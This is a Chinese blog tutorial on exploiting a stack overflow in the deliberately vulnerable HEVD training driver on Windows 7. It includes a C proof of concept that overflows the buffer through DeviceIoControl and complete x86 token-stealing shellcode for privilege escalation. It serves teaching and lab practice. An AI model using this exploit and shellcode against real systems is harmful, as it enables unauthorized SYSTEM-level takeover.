Windows内核漏洞利用教程Part2:栈溢出

Author Avatar
leo00000 7月 04, 2018

Windows内核漏洞系列教程。

前言

在Part1我们配置好了调试环境,Part2中我们将走进Windows内核空间,首先我们通过内核中一个的栈溢出的例子了解到 Driver-exploitation

环境准备

  • HEVD drive(包含漏洞的驱动)
  • OSR Loader(驱动加载程序)

安装内核驱动

本节中我们主要针对HEVD driver上的栈溢出漏洞进行练习,HEVD是hacksysteam开源的一个漏洞练习平台,关于驱动你可以在github上下载源码自行编译,也可以直接使用已经编译好的驱动模块。然后我们就可以在Vmware中使用OSRLoader加载HEVD drive了。

在WinDbg中查看驱动加载情况:

漏洞分析

分析源码看到在向内核 KernelBuffer[512] 拷贝数据时,并没有检查变量 UserBuffer 的大小导致溢出:

不过在调试真正的内核漏洞往往没有源码,再次尝试逆向分析漏洞成因。首先在IDA中找到驱动何时会调用StackOverflow模块:

然后从函数调用关系,我们主要看 IrpDeviceIoCtlHandler 函数,知道了当IOCTL为0x222003时StackOveflow模块被调用:

之后跟随函数调用会进入 TriggerStackOverflow 函数,可以看到KernelBuffer的长度为 0x800 ,当输入数据超过长度后就会导致栈溢出了。

漏洞利用(EXP)

导致BSOD

找到漏洞成因之后我们就要开始尝试exploit,为了直接和驱动交互要使用DeviceIoControl函数。这里我们就不重复造轮子了直接使用HEVD中框架源码,然后自己来开发Exploit模块,首先我们构造出能BSOD的Poc这里我选择C来写,但作为练习我在最后会同时给出C和Python的Exp。

DWORD WINAPI StackOverflwThread(LPVOID Parameter) {
    ...
    // 第一次使用的Payload
    // char BSODPayload[(BUFFER_SIZE) * sizeof(ULONG)] = { 0x41 };
    char BSODPayload[(BUFFER_SIZE + 20) * sizeof(ULONG)] = { 0x41 };
    for (size_t i = 0; i < 21; i++) {
        size_t offset = (BUFFER_SIZE + i) * sizeof(ULONG);
        for (size_t j = 0; j < 4; j++) {
            BSODPayload[offset + j] = 0x41 + i;
        }
    }

    ...省略部分源码...

    DeviceIoControl(hFile,i
                HACKSYS_EVD_IOCTL_STACK_OVERFLOW, //0x800
                (LPVOID)BSODPayload,
                (DWORD)BSODPayloadSize,
                NULL,
                0,
                &BytesReturned,
                NULL);
    ...
}

我们发送了两次Payload,其中第一次的长度为0x800,并没有导致BSOD,第二次长度为0x850到达了目的。
通过分析Crash,我们可以计算出在偏移为 (BUFFER_SIZE + 9) * 4 处覆盖了返回地址。

构造shellcode

现在我们已经能对EIP进行控制了,但是由于DEP保护机制,我们并不能直接执行到shellcode,绕过DEP的方法有很多 (之后在我的博客会给出一个总结),这里假设环境是用门拥有本地执行权限,所以我们可以分配一段可执行内存,然后讲shellcode放到这段内存当中去,而HEVD源码给了一种更简单的解决方法,直接讲Payload编译到代码段中,这样只需要用 TokenStealingPayloadWin7 的地址覆盖掉ret的返回值就到达我们的目的了。
由于在内核中截取了EIP,所以在执行完shellcode后一定要恢复内存环境,否则会导致BSOD。在shellcode中我们首先保存寄存器值,然后获取当前进程的EPROCESS结构,同理system进程(csrss.exe)的EPROCESS,然后用system进程的Token覆盖当前进程的Token,达到提取的目的,最后恢复寄存器的值。

pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
                                   ; _KTHREAD is located at FS : [0x124]

mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process

mov ecx, eax ; Copy current process _EPROCESS structure

mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
    mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
    sub eax, FLINK_OFFSET
    cmp[eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
    jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
                             ;with SYSTEM process nt!_EPROCESS.Token
                             ; End of Token Stealing Stub

popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly

最终提权成功:

小结

  • 内核的调试要比一般软件调试更为繁琐,每次蓝屏之后你都要重再来。
  • 在github上给出了Python版本的EXP,主要利用了ctypes库,但是Windows默认并没有py环境,你可以考虑py2exe。
  • 对内核shellcode的编写一定要注意恢复内核环境,一般软件crash之后无所谓,但是对操作系统不行。